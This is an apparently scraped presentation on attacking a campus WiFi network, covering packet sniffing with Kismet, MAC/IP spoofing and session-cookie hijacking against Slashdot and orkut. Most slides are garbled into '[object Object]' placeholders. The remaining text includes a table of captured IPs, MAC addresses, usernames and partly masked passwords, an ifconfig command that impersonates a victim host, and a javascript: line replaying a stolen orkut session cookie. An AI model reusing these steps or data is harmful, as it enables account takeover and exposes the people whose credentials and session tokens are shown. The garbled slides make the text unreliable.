Smit WiFi_2

Down the rabbit-hole ,[object Object],[object Object],[object Object]

Tools Used ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Brief Overview ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Brief Overview (cont..)‏ ,[object Object],[object Object],[object Object],[object Object]

Initial Monitoring ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Initial Monitoring (cont..)‏ ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

But that's not what we are looking for !!

Wall of Sheep IP MAC User Password 172.16.183.15 00:12:f0:db:ef:6f d205a m_-_-i 172.16.183.23 00:12:f0:64:0a:67 g205a b_-_i 172.16.183.78 00:13:ce:7b:d7:9b d108a 1_3 172.16.183.116 00:16:ce:54:69:48 b206a j_-n 172.16.183.117 00:12:f0:56:b7:3f k205a n_-_-_-w 172.16.183.149 00:15:00:22:c4:0f l205a p_-_-_-_4 172.16.183.155 00:13:02:43:2b:0d r305a r_-_-_a 172.16.183.180 00:12:f0:51:3b:e0 j301a h_-_-_-a ** and this is just a small part of the list How about some user account details?

172.16.183.1 – Authentication Server

Talk about multi-platform support

User – Agent Switcher to the rescue

Background magic – how it really works

How hard is it? ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

But that isn't very ethical ,[object Object],[object Object]

Brief Introduction to Cookies No not these “cookies”

So what are they ? ,[object Object],[object Object],[object Object],[object Object],[object Object]

How do they help? ,[object Object],[object Object],[object Object],[object Object]

Step 1 Find active hosts on the network :enter 'Kismet'

Step 2 Select an active host and note parameters ie. IP Address and MAC address.

Step 2 (cont..)‏ Change settings locally to match host about to be compromised. For eg : ifconfig eth1 172.16.183.209 hw ether 00:13:02:C1:28:D4 route add default gw 172.16.183.1

Step 3 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Step 3 (cont..)‏ ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Return to cookie-land ,[object Object],[object Object],[object Object],[object Object]

Presenting Slashdot ,[object Object],[object Object],[object Object]

Exploit - ,[object Object],[object Object],[object Object]

So what ? But then that is hardly any sweat !!

Moving on - orkut.com ,[object Object],[object Object],[object Object],[object Object],[object Object]

First observations. ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

In other words – that information is definitely not being cracked anytime soon .

Cookies, again? ,[object Object]

Cookies, again ? (cont..)‏ ,[object Object],[object Object],[object Object]

Cookie (1)‏ ,[object Object],[object Object]

Back to kismet dumps ,[object Object],[object Object],[object Object],[object Object]

Set this cookie javascript:document.cookie=' orkut_state=ORKUTPREF=ID=7252002680339005281:INF=0:SET=111236439:LNG=1:CNT=91:RM=0:USR=cmFodWxfcm91dEByZWRpZmZtYWlsLmNvbQ==:PHS=:TS=1158132779:LCL=en-US:NET=1:TOS=2147483647:GC=DQAAAG8AAADkOy-V63iFe2aPbuAmCA-bDDU8_u94QUeUQfxAz3MzhkADniO0_SDGMp8ny5x-FwbOCrbZ_JGLohyBxL3Xkuxf3AbdmSE7TNsC3xCKaJM0uq8k44tQMcp51JuXfs70h-PrgMf37rc3w4_R0na3XJus:PE=cmFodWxfcm91dEByZWRpZmZtYWlsLmNvbQ==:GTI=0:GID=:S=HNmUSftD+sY4LAmmXVSy0U/jLIg=:; Domain=.orkut.com; Path=/ ';

Future possibilities ? ,[object Object],[object Object],[object Object],[object Object]

Thank you ___________________ Questions ?

Smit WiFi_2

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

Similaire à Smit WiFi_2

Similaire à Smit WiFi_2 (20)

Dernier

Dernier (20)

Smit WiFi_2